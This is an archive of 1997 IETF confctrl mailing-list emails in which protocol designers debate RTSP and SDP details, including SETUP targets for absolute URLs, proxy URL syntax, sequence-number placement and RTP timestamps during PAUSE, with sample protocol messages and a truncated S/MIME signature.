Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.12495-0@bells.cs.ucl.ac.uk>; Thu, 28 Aug 1997 11:59:35 +0100
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Koskelainen Petri <petkos@cs.tut.fi>, confctrl@ISI.EDU
Subject: Re: SIPv3 (and SDP) comments
In-Reply-To: Your message of "Wed, 27 Aug 1997 18:51:44 EDT." <3404AF80.60199582@cs.columbia.edu>
Date: Thu, 28 Aug 1997 11:59:33 +0100
Message-Id: <996.872765973@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--> Henning Schulzrinne writes:
>-->Koskelainen Petri wrote:
>> How about a=fmtp attribute in SDP ?
>> Is that the right place to specify codec specific options ?
>> 
>> If yes, where are these format specific parameters defined ?
>> In AVT/MMUSIC/ITU/IANA etc ?
>
>If this is an RTP payload format, they may as well be defined in the RTP
>payload definition, to avoid proliferation of two-page RFCs. I'm not
>aware of any formats that do that, though. None of the standard payload
>types so far seem to need these parameters, although they are discussed
>frequently.

The RTP redundancy payload (draft-ietf-avt-rtp-redundancy-01.txt) does
this. We use the "fmtp" attribute to indicate which codecs should be used
when sending redundant data.

-- 
Colin Perkins                   Email: c.perkins@cs.ucl.ac.uk
Department of Computer Science  Phone: (+44) 171 419 3666
University College London       WWW  : http://www.cs.ucl.ac.uk/staff/c.perkins/

From majordom@ISI.EDU  Thu Aug 28 05:11:48 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16752>; Thu, 28 Aug 1997 06:13:33 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AB16746>; Thu, 28 Aug 1997 06:13:32 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id GAA07838
	for <confctrl@isi.edu>; Thu, 28 Aug 1997 06:13:27 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Thu Aug 28 09:11:47 EDT 1997
Received: from shelf.dnrc.bell-labs.com ([135.180.160.19]) by research; Thu Aug 28 09:11:48 EDT 1997
Received: from muskie.dnrc.bell-labs.com (muskie [135.180.144.94]) by shelf.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id JAA07761; Thu, 28 Aug 1997 09:11:49 -0400 (EDT)
Received: from dnrc.bell-labs.com (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id JAA04160; Thu, 28 Aug 1997 09:11:48 -0400 (EDT)
Message-Id: <34057914.9BC4DE0@dnrc.bell-labs.com>
Date: Thu, 28 Aug 1997 09:11:48 -0400
From: "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
References: <3.0.3.32.19970827164651.01a7cf6c@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 

> There were no major concerns expressed about this in Munich. When an
> arbitrary stream URL is specified in a DESCRIBE response (perhaps to an
> entirely different server), the client is expected to still send the SETUP
> message corresponding to that URL to the server that the DESCRIBE response
> came from. 

I disagree with the last statement (assuming I understand it correctly).
If there's an absolute URL with different servers, I have to assume that
the servers somehow coordinate in the background. Why not just send the
SETUP to the absolute URL specified? I can always use relative URLs if I
want the requests to go to the origin of the DESCRIBE response.

Sending
SETUP rtsp://foo.com/movie

to the (non-virtual) host rtsp://bar.com seems strange.

(Because of that, it is probably a good idea to make Session id's
globally unique. It certainly can't hurt.)
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Aug 28 03:46:48 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03450>; Thu, 28 Aug 1997 10:47:06 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA03442>; Thu, 28 Aug 1997 10:47:05 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA06569
	for <confctrl@isi.edu>; Thu, 28 Aug 1997 10:47:04 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA24073
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 28 Aug 1997 10:46:52 -0700
Message-Id: <3.0.3.32.19970828104648.011f1ec8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 28 Aug 1997 10:46:48 -0700
To: "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
Cc: confctrl@ISI.EDU
In-Reply-To: <34057914.9BC4DE0@dnrc.bell-labs.com>
References: <3.0.3.32.19970827164651.01a7cf6c@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 09:11 AM 8/28/97 -0400, Henning Schulzrinne (BL) wrote:
>Rob Lanphier wrote:
>> There were no major concerns expressed about this in Munich. When an
>> arbitrary stream URL is specified in a DESCRIBE response (perhaps to an
>> entirely different server), the client is expected to still send the SETUP
>> message corresponding to that URL to the server that the DESCRIBE response
>> came from. 
>
>I disagree with the last statement (assuming I understand it correctly).
>If there's an absolute URL with different servers, I have to assume that
>the servers somehow coordinate in the background. Why not just send the
>SETUP to the absolute URL specified? I can always use relative URLs if I
>want the requests to go to the origin of the DESCRIBE response.
>
>Sending
>SETUP rtsp://foo.com/movie
>
>to the (non-virtual) host rtsp://bar.com seems strange.

It does, but I think I like it.  My thinking was more in line with yours
prior to the Munich meeting.  However, two or three people came up to the
microphone in Munich espousing the virtues of this approach.  I thought
about raising a fuss at that time, but restrained myself until thinking
about it further, and no one else complained.

What this approach allows is the clean creation of a coordinator proxy.  By
returning this presentation description, the RTSP server is volunteering to
make the coordination happen, and thus isn't imposing it on the client.
The client can then treat the URLs as opaque stream identifiers.

This actually falls in line with PNs assertion that the DESCRIBE response
should only be for media initialization, and not for media indirection, so
this makes me a pretty happy camper.

One thing that we could do is have a separate syntax for when media
indirection is actually desired.  For instance:

   DESCRIBE rtsp://foo.com/something/other.sdp

   RTSP/1.0 200 1 OK
   Date: Tue Jul 22 17:11:12 1997
   Content-Type: application/sdp
   Content-Length: 319

   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info> 
   t=0 0
   m=video 8002 RTP/AVP 31
   c=IN URL rtsp://oneplace.com/blah/trackID=47
   m=audio 8004 RTP/AVP 3
   c=IN URL rtsp://theother.com/blech/trackID=48

...would mean media initialization, and thus all SETUPs are issued to
foo.com, whereas:

   DESCRIBE rtsp://foo.com/something/other.sdp

   RTSP/1.0 200 1 OK
   Date: Tue Jul 22 17:11:12 1997
   Content-Type: application/sdp
   Content-Length: 319

   v=0
   o=- 2890844256 2890842807 IN IP4 127.0.0.1
   s=<title string>
   i=<more info> 
   t=0 0
   m=video 8002 RTP/AVP 31
   a=murl:rtsp://oneplace.com/blah/trackID=47
   m=audio 8004 RTP/AVP 3
   a=murl:rtsp://theother.com/blech/trackID=48

...would mean that indirection is in order, and thus one should issue the
SETUPs to oneplace.com and theother.com.

I would leave the definition of an indirection field for SDP to someone who
actually needs it, though.  Right now, the necessary portion is the "c=IN
URL" definition.

>(Because of that, it is probably a good idea to make Session id's
>globally unique. It certainly can't hurt.)

It's necessary, actually, now that we have 1-1-n.  If the server is
expected to treat two distinct URLs with a common session id as one
session, then the session id has to be globally unique.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Thu Aug 28 22:47:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09631>; Thu, 28 Aug 1997 11:47:55 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09625>; Thu, 28 Aug 1997 11:47:53 -0700
Received: from www45.inria.fr (hoschka@www45.inria.fr [138.96.10.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10567
	for <confctrl@isi.edu>; Thu, 28 Aug 1997 11:47:49 -0700 (PDT)
Received: by www45.inria.fr (8.8.6/8.8.5) id UAA07157; Thu, 28 Aug 1997 20:47:12 +0200 (MET DST)
Message-Id: <199708281847.UAA07157@www45.inria.fr>
To: confctrl@ISI.EDU
Cc: anselm@w3.org
From: Philipp Hoschka <hoschka@w3.org>
Subject: Sequence number
Date: Thu, 28 Aug 1997 20:47:11 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I asked our Jigsaw architect to answer directly; here's his response.

 > Philipp Hoschka wrote:
 > 
 > > >Suggestion: Move RTSP timestamp from request-line to Sequence:
 > > header,
 > > >making the RTSP request/response line conformant with HTTP (and SIP).
...
 Anup wrote: 
 >   I don't quite understand this, and here's why:
 > 
 > Case 1: Control channel over TCP - In this case it can be argued that
 > you can just ignore the sequence number. I should think the code change,
 > if any is minimal.
 > Case 2: Control channel over UDP : Since the control channel is now not
 > a stream based one, the changes to Jigsaw would be significant
 > regardless. I'll buy that it is possible to do this in a manner
 > independant of whether the control channel is UDP or TCP, but still dont
 > understand why the sequence number being in the request line would imply
 > a significant rewrite.

Let me try to clarify. In both cases (UDP and TCP) I was planning to
reuse the existing HTTP parser as-is, which is (java)-stream based
(even if the stream is made of a single datagram). 

The parser wouldn't have to be rewritten completly, but if we ignore
additional infos in the request line, we no longer can claim it's an
HTTP parser (and then of course, what happens if some new protocol
add something else to that line ?)

But my point here is that by adding a header rtsp remains compatible
with http while by adding something to the request line, you break the
http bnf (as specified in 1.0 and 1.1). Moreover I cannot see any
reasons why having that number has a header is a problem.


Anselm.


From majordom@ISI.EDU  Thu Aug 28 06:44:04 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17079>; Thu, 28 Aug 1997 13:44:13 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17073>; Thu, 28 Aug 1997 13:44:11 -0700
Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA16037
	for <confctrl@ISI.EDU>; Thu, 28 Aug 1997 13:44:11 -0700 (PDT)
Received: by INET-01-IMC with Internet Mail Service (5.0.1459.27)
	id <RYR3XLDG>; Thu, 28 Aug 1997 13:44:11 -0700
Message-Id: <E1F032A1F6FAD011BE6100805FD468021EE40B@RED-40-MSG.dns.microsoft.com>
From: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
To: "'Stephen Casner'" <casner@precept.com>
Cc: confctrl@ISI.EDU
Subject: RE: "seq" in Transport-Info
Date: Thu, 28 Aug 1997 13:44:04 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1459.27)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> It was suggested in Munich that this be changed to the PAUSE response
> (giving the last sequence number before pause) in order to reduce
> delay.  

> This means that the mapping between RTP timestamp and NPT changes
> during a pause and so it might have to be communicated explicitly at
> each play.  

So the suggestion is to provide the last sequence number in the PAUSE
response, and the remaining parameters in the PLAY response.  This still
means that the client needs to wait for the PLAY response before it can
start playing.  So I don't see what is gained by putting a sequence
number in the PLAY response.

> The advancement of the RTP timestamp should reflect the
> progress of real time at the server.  That is, during a pause,
> the RTP timestamp should keep ticking along with real time

Leaving the RTP "clock" running during a PAUSE operation actually
complicates things.  When the server resumes from a PAUSE, it must keep
track of for how long it was paused, and add that time to all the
timestamps it sends.  This is particularly a concern when the server is
playing from a file, as opposed to from a live encoder.

This also causes problems on the client.  Here is an example.  The
client sends a PAUSE at time T.  It already has packets with timestamps
T+1 and T+2 in its playout buffer.  Before the server has received the
PAUSE, the client also receives packet T+3.  The client then sends a
PLAY at time T+10.  Since the RTP clock is now T+10, packets T+1, T+2
and T+3 are "overdue" and might be skipped by a media renderer, or
played at a faster speed, or whatever.  The server changes the timestamp
of packet T+4 so that it becomes T+14.  Until that packet has arrived at
the client, the client has no packets with timestamps >= T+10 in its
playout buffer, and the client might "stall".

These problems are not unsolvable, of course, but they seem to require
adding extra logic in the clients to "tweak" RTP timestamps when the
problem could simply be avoided by stopping the RTP clock during a pause
operation.

Anders


From majordom@ISI.EDU  Thu Aug 28 13:04:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18232>; Thu, 28 Aug 1997 14:06:07 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18226>; Thu, 28 Aug 1997 14:06:05 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA16964
	for <confctrl@isi.edu>; Thu, 28 Aug 1997 14:06:04 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Thu Aug 28 17:04:54 EDT 1997
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by research; Thu Aug 28 17:04:56 EDT 1997
Received: from muskie.dnrc.bell-labs.com (muskie.dnrc.bell-labs.com [135.180.144.94]) by boole.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id RAA03658; Thu, 28 Aug 1997 17:05:00 -0400 (EDT)
Received: from dnrc.bell-labs.com (localhost [127.0.0.1]) by muskie.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id RAA06915; Thu, 28 Aug 1997 17:04:55 -0400 (EDT)
Message-Id: <3405E7F7.BC25D8A8@dnrc.bell-labs.com>
Date: Thu, 28 Aug 1997 17:04:55 -0400
From: "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
References: <3.0.3.32.19970827164651.01a7cf6c@mail.prognet.com> <3.0.3.32.19970828104648.011f1ec8@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Note that we also need a description format (RTSL, SDP) to be retrieved
via HTTP, to find out the component sessions and since directly
including an rtsp:// URL in a web page is not going to be very useful. I
thought that using SDP was one option for simple scenarios; what's the
syntax for that? (In that case, the URL should point to the SETUP
location, at least).

I also don't see the need for the 'fake' URL and proxies. If you have a
proxy that serves the other 'back-end' servers, it can easily create its
own namespace, as in

rtsp://proxy.com/oneplace.com/blah/trackID=47

The proxy server must be informed about how to do the coordination in
any event. Why expose the identity of the back-end servers to the client
at all since they don't receive any RTSP commands?

Thus, in summary, I'm not sure breaking the standard URL assumption (a
request URL refers to the host or its virtual aliases) is such a great
idea:

- it doesn't add any real functionality that couldn't be had otherwise;

- it creates a mess for SDP, as you now need two similar-looking, but
radically different rtsp URL mechanisms, one to get the basic session
description (container or not) and one for DESCRIBE.
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Thu Aug 28 08:10:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23114>; Thu, 28 Aug 1997 15:10:42 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23107>; Thu, 28 Aug 1997 15:10:41 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA20205
	for <confctrl@isi.edu>; Thu, 28 Aug 1997 15:10:40 -0700 (PDT)
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA17624
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 28 Aug 1997 15:10:38 -0700
Message-Id: <3.0.3.32.19970828151029.013d8a0c@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Thu, 28 Aug 1997 15:10:29 -0700
To: "Henning Schulzrinne (BL)" <hgs@dnrc.bell-labs.com>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: RTSP 1b & e. 1-1-n & Use of SDP within RTSP
Cc: confctrl@ISI.EDU
In-Reply-To: <3405E7F7.BC25D8A8@dnrc.bell-labs.com>
References: <3.0.3.32.19970827164651.01a7cf6c@mail.prognet.com>
 <3.0.3.32.19970828104648.011f1ec8@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 05:04 PM 8/28/97 -0400, Henning Schulzrinne (BL) wrote:
>I also don't see the need for the 'fake' URL and proxies. If you have a
>proxy that serves the other 'back-end' servers, it can easily create its
>own namespace, as in
>
>rtsp://proxy.com/oneplace.com/blah/trackID=47

Assuming we go this route (I'm not convinced we should, but I'd like some
others to weigh in), it really should use the standard proxy convention:
rtsp://proxy.com/rtsp://oneplace.com/blah/trackID=47

...since that's the way it's done in HTTP.

<a href="http://proxy.com/http://foo.com/bar.html">Use the proxy</a>

However, if you were to look at what happens on the wire, you would see, in
the connection to proxy.com:

GET http://foo.com/bar.html HTTP/1.1
...

So, in the case of RTSP, when it makes the connection, should it say:

SETUP rtsp://oneplace.com/blah/trackID=47 RTSP/1.0 2

... or should it say:

SETUP rtsp://proxy.com/rtsp://oneplace.com/blah/trackID=47 RTSP/1.0 2

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Thu Aug 28 09:06:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27336>; Thu, 28 Aug 1997 16:07:38 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA27330>; Thu, 28 Aug 1997 16:07:37 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA22983
	for <confctrl@ISI.EDU>; Thu, 28 Aug 1997 16:07:36 -0700 (PDT)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id QAA09215;
	Thu, 28 Aug 1997 16:07:03 -0700 (PDT)
Date: Thu, 28 Aug 1997 16:06:09 -0700 ()
From: Stephen Casner <casner@precept.com>
To: "Anders Klemets (VXtreme)" <anderskl@microsoft.com>
Cc: confctrl@ISI.EDU
Subject: RE: "seq" in Transport-Info
In-Reply-To: <E1F032A1F6FAD011BE6100805FD468021EE40B@RED-40-MSG.dns.microsoft.com>
Message-Id: <Pine.WNT.3.95.970828151112.-232557J-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anders,

> > This means that the mapping between RTP timestamp and NPT changes
> > during a pause and so it might have to be communicated explicitly at
> > each play.  
> 
> So the suggestion is to provide the last sequence number in the PAUSE
> response, and the remaining parameters in the PLAY response.  This still
> means that the client needs to wait for the PLAY response before it can
> start playing.  So I don't see what is gained by putting a sequence
> number in the PLAY response.

Actually, it might not be necessary to communicate the relationship
between RTP timestamp and NPT explicitly.  I have not thought
carefully about all the reasons one might want to know that
relationship, but for a progress indicator I think the following is
sufficient:

  - the PAUSE indicates the last sequence number of the data before
    pausing (or it can add one which will be the first sequence number
    after play resumes)

  - the user moves the slider to a new point, and that new NPT is sent
    in a PLAY

  - when the first packet of the from the new PLAY arrives, the
    receiver can then associate that packet's RTP timestamp with the
    new NPT.

  - at the appropriate time, the first packet will actually be played.

  - the progress indicator can be advanced based on the advancement of
    RTP timestamps as they are played.

Now, getting access to RTP timestamps at the UI level might be
difficult, but this is all postulated on the desire to use RTP
timestamps for UI purposes.

> > The advancement of the RTP timestamp should reflect the
> > progress of real time at the server.  That is, during a pause,
> > the RTP timestamp should keep ticking along with real time
> 
> Leaving the RTP "clock" running during a PAUSE operation actually
> complicates things.  When the server resumes from a PAUSE, it must keep
> track of for how long it was paused, and add that time to all the
> timestamps it sends.  This is particularly a concern when the server is
> playing from a file, as opposed to from a live encoder.

Yes, that's right, for the case of a server playing from an "RTP
file", it could not just pump out the packets directly from the file.
In addition to adjusting the timestamps, I am saying that the server
should also adjust the sequence numbers when a reposition has been
done so that RTP packet loss accounting works.  However, if the file
format it not RTP, you are going to be building the RTP headers
anyway and this is not really any extra packet-by-packet work.

> This also causes problems on the client.  Here is an example.  The
> client sends a PAUSE at time T.  It already has packets with timestamps
> T+1 and T+2 in its playout buffer.  Before the server has received the
> PAUSE, the client also receives packet T+3.  The client then sends a
> PLAY at time T+10.  Since the RTP clock is now T+10, packets T+1, T+2
> and T+3 are "overdue" and might be skipped by a media renderer, or
> played at a faster speed, or whatever.  The server changes the timestamp
> of packet T+4 so that it becomes T+14.  Until that packet has arrived at
> the client, the client has no packets with timestamps >= T+10 in its
> playout buffer, and the client might "stall".

What if the client does a reposition while paused?

> These problems are not unsolvable, of course, but they seem to require
> adding extra logic in the clients to "tweak" RTP timestamps when the
> problem could simply be avoided by stopping the RTP clock during a pause
> operation.

I suppose there are a variety of possible implementations, but I would
expect that a low-delay system might play packets T+1,2,3 and then
pause at that point.  A high-delay system might want to implement
immediate local pause, but then the extra packets after the pause
might just be tossed.  If playback is resumed with "PLAY T", then the
packets would be sent again with timestamps T+10, etc.  Or if a
reposition is done, then "PLAY T+R" would result in packets from a
different spot in time coming with timestamps T+10.  If the client
issued the unspecified "PLAY" form, then yes it would have to adjust
the timestamps of the packets it was saving from the last play.

Being realistic, I suppose that receivers will have to be prepared to
accept all sorts of wierd behavior from servers unless we carefully
specify the behavior, and probably even if we do.
							-- Steve


From majordom@ISI.EDU  Thu Aug 28 11:10:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04747>; Thu, 28 Aug 1997 18:11:11 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04741>; Thu, 28 Aug 1997 18:11:10 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA28211
	for <confctrl@ISI.EDU>; Thu, 28 Aug 1997 18:11:09 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id SAA27299
	for <confctrl@ISI.EDU>; Thu, 28 Aug 1997 18:10:38 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA27858;
          Thu, 28 Aug 1997 18:10:38 -0700
Message-Id: <3406218E.98FD1AF9@netscape.com>
Date: Thu, 28 Aug 1997 18:10:38 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: Re: "seq" in Transport-Info
X-Priority: 3 (Normal)
References: <Pine.WNT.3.95.970826175624.-188305J-100000@oak.precept.com> <3404B63D.F26CE787@cs.columbia.edu>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms24415175E2534746F2C4B380"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This is a cryptographically signed message in MIME format.

--------------ms24415175E2534746F2C4B380
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Henning Schulzrinne wrote:

> The only time the sequence number matters is with an 'interrupt' PAUSE
>
> (pause *now*). Otherwise, you want all of the segments played
> consecutively and there's no need to flush anything. Thus, it seems to
>
> make sense to include the last seq. no. in the PAUSE response, as
> that's
> the earliest opportunity to do so.

  Also desirable  for the very first PLAY, I think.  Marker bits or
timestamps will not always be enough to tell  whether the first packet
was received or not.

--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------


--------------ms24415175E2534746F2C4B380
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIG8gYJKoZIhvcNAQcCoIIG4zCCBt8CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BSQwggJjMIIBzKADAgECAgIBtzANBgkqhkiG9w0BAQQFADB3MQswCQYDVQQGEwJVUzEsMCoG
A1UEChMjTmV0c2NhcGUgQ29tbXVuaWNhdGlvbnMgQ29ycG9yYXRpb24xHDAaBgNVBAsTE0lu
Zm9ybWF0aW9uIFN5c3RlbXMxHDAaBgNVBAMTE3Jvb3RjYS5uZXRzY2FwZS5jb20wHhcNOTcw
NTE2MTY1MTE1WhcNOTcxMTEyMTY1MTE1WjCBgjELMAkGA1UEBhMCVVMxJjAkBgNVBAoTHU5l
dHNjYXBlIENvbW11bmljYXRpb25zIENvcnAuMRMwEQYDVQQDEwpBbnVwIFYgUmFvMSAwHgYJ
KoZIhvcNAQkBFhFhbnVwQG5ldHNjYXBlLmNvbTEUMBIGCgmSJomT8ixkAQETBGFudXAwXDAN
BgkqhkiG9w0BAQEFAANLADBIAkEAmxrdqVlqR3Bmvms7eOyI9bcar073s9d/sUZfvsanTSmP
Zt1XjzIStAbiz2hdH/foScl21jQlAhJ8+Kvqw9B9SQIDAQABozYwNDARBglghkgBhvhCAQEE
BAMCAKAwHwYDVR0jBBgwFoAU/OBU6Afxld4695nGrvoVDG7ELpIwDQYJKoZIhvcNAQEEBQAD
gYEAHwb8ahafhkduRBKdfLIWlpWr6x3T24f0U3pfVse0cVGQf0CpL+CUmPhgedvpccP8iTHB
hFwaVtXzuGp7QUX5j+6netVIZSu4048BF5fBBYRIeMd0T8qxpbTVplOZ/GwaiYLr2RtMyd+0
vgUSYGrj82S/YvzBQp+KvcjQqfnbCM8wggK5MIICIqADAgECAgEBMA0GCSqGSIb3DQEBBAUA
MHcxCzAJBgNVBAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jw
b3JhdGlvbjEcMBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNh
Lm5ldHNjYXBlLmNvbTAeFw05NzAzMjYwMTQ0MzhaFw05OTAzMjYwMTQ0MzhaMHcxCzAJBgNV
BAYTAlVTMSwwKgYDVQQKEyNOZXRzY2FwZSBDb21tdW5pY2F0aW9ucyBDb3Jwb3JhdGlvbjEc
MBoGA1UECxMTSW5mb3JtYXRpb24gU3lzdGVtczEcMBoGA1UEAxMTcm9vdGNhLm5ldHNjYXBl
LmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAwao+/i0/pYfDR9/72m3YGKBFPfnH
m0POJ7RaE5wRfb/S8ohex7+yi3m6p+UoC0CmjpkxVcX4zpYGXiKEdr8BImLDqZknuwhoERTH
Cn7csof4x+AkMAG8LZaF5xnDLqGTdyw0GC/736JIs+egr3oD5IuMdaQtkyCMIDlUp0W6QGUC
AwEAAaNVMFMwEQYJYIZIAYb4QgEBBAQDAgAEMB0GA1UdDgQWBBT84FToB/GV3jr3mcau+hUM
bsQukjAfBgNVHSMEGDAWgBT84FToB/GV3jr3mcau+hUMbsQukjANBgkqhkiG9w0BAQQFAAOB
gQBZ99sbXHoGxObFmGGEGM76BksgsSTK/Fl+Pxjx5L6sENlK0mmPbvyRyvUEHAquufrKOexN
ABmmZ5TM5UBbWYQkkvABLBnkCy87HPYPG4VF7MOX8eC6QMvdV3GJ4ItJcEkf3bbLNG9vzy8h
5FPRGWaPZ2Lw3e4dSCrwR3uDdId5yDGCAZYwggGSAgEBMH0wdzELMAkGA1UEBhMCVVMxLDAq
BgNVBAoTI05ldHNjYXBlIENvbW11bmljYXRpb25zIENvcnBvcmF0aW9uMRwwGgYDVQQLExNJ
bmZvcm1hdGlvbiBTeXN0ZW1zMRwwGgYDVQQDExNyb290Y2EubmV0c2NhcGUuY29tAgIBtzAJ
